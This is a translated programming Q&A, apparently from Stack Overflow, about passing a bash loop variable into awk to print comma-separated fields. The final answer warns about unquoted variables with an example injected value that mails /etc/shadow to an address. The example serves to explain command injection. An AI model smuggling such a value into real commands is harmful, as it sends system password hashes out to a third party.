2012-11-07 55 views
1
#!/bin/bash 

index=101,102,103,104,105 
/bin/echo "$index" | /bin/awk -F\, '{print $2}' 

以上是我的shell腳本(這只是一個演示它不應該是靜態的)當我執行這一點,我返回值「102」這是正確的。awk的shell腳本不給所需的輸出

#!/bin/bash 

index=101,102,103,104,105 

for i in 1 2 3 4 5 
do 
/bin/echo "$index" | /bin/awk -F\, '{print $i}' 
done 

我想打印所有數字......我錯了嗎?

我已經對「null」saprated值進行了一些更改......現在我想要做些什麼改變? 獲取並增加$ i的值?

output of *some command* 
1013 
1023 
12324 
13224 
3122 
2421 

#!/bin/bash 
index=*some command* 
i=1 

for LINE in ${OUTPUT} ; do 
    ans=$(/bin/echo "$index" | /bin/awk -vRS= -vFS="\n" '{print $i}') 
    i=`expr $i + 1` 
done 
+0

您使用'/ bin/echo'而不是bash的內置回顯命令的任何特定原因? – ghoti

+0

在我的服務器中,bash版本是1.14.7(1),所以有時它會給我找到一些命令時的錯誤。所以爲了準確性的目的,我使用了二進制文件中的所有命令 –

+0

用「{print \ $$ i}」改變了'{print $ i}'並且它的工作原理 –

回答

-1

使用雙引號,因此$i被shell擴展。你必須引用美元符號,那麼,防止$$擴張:

awk -F, "{print \$$i}" 
+2

你不應該在腳本中擴展變量,你應該通過變量在使用awk的'-v'選項。雖然這可能有效,但這是不好的做法,如果你不小心,你可以在腳下自己射擊。 – Graham

1

你要的i值傳遞給AWK:

#!/bin/bash 

index=101,102,103,104,105 

for i in 1 2 3 4 5 
do 
    /bin/echo "$index" | /bin/awk -v i=$i -F\, '{print $i}' 
done 

否則,該值i是在腳本不知道awk中,默認情況下它需要的0值。所以它會打印,如果你說$0

1

或類似這樣的

#!/bin/bash 

index=101,102,103,104,105 

IFS=',' 
for x in $index 
do 
    echo "$x" 
done 

IFS將決定你的情況分隔符 「」。然後你可以通過元素(如數組)

3

單引號不允許變量擴展。因此"$i"被擴展爲$i的值,但'$i'是字面$i

假設變量在腳本中正確擴展通常是不安全的。你不想把你的腳本放在雙引號中。相反,使用awk的-v選項將$i的值傳遞到awk腳本中。

#!/bin/bash 

index=101,102,103,104,105 

for i in 1 2 3 4 5; do 
    echo "$index" | awk -F, -vi="$i" '{print $i}' 
done 

因爲這是一個例子,我不知道你是真的將使用一個for循環產生的$i值,你應該記得把雙引號$i因此,如果它包含空格或其他奇怪的字符,你不會打破你的腳本,並意外執行你不想要的東西。雖然並不總是必要的,但建議使用總是來引用bash中的變量。小心≈好。如果$i得到的值爲"1;mail [email protected] < /etc/shadow;true",那麼您將處於危險之中,無引號。用引號,你只是有一個失敗的腳本。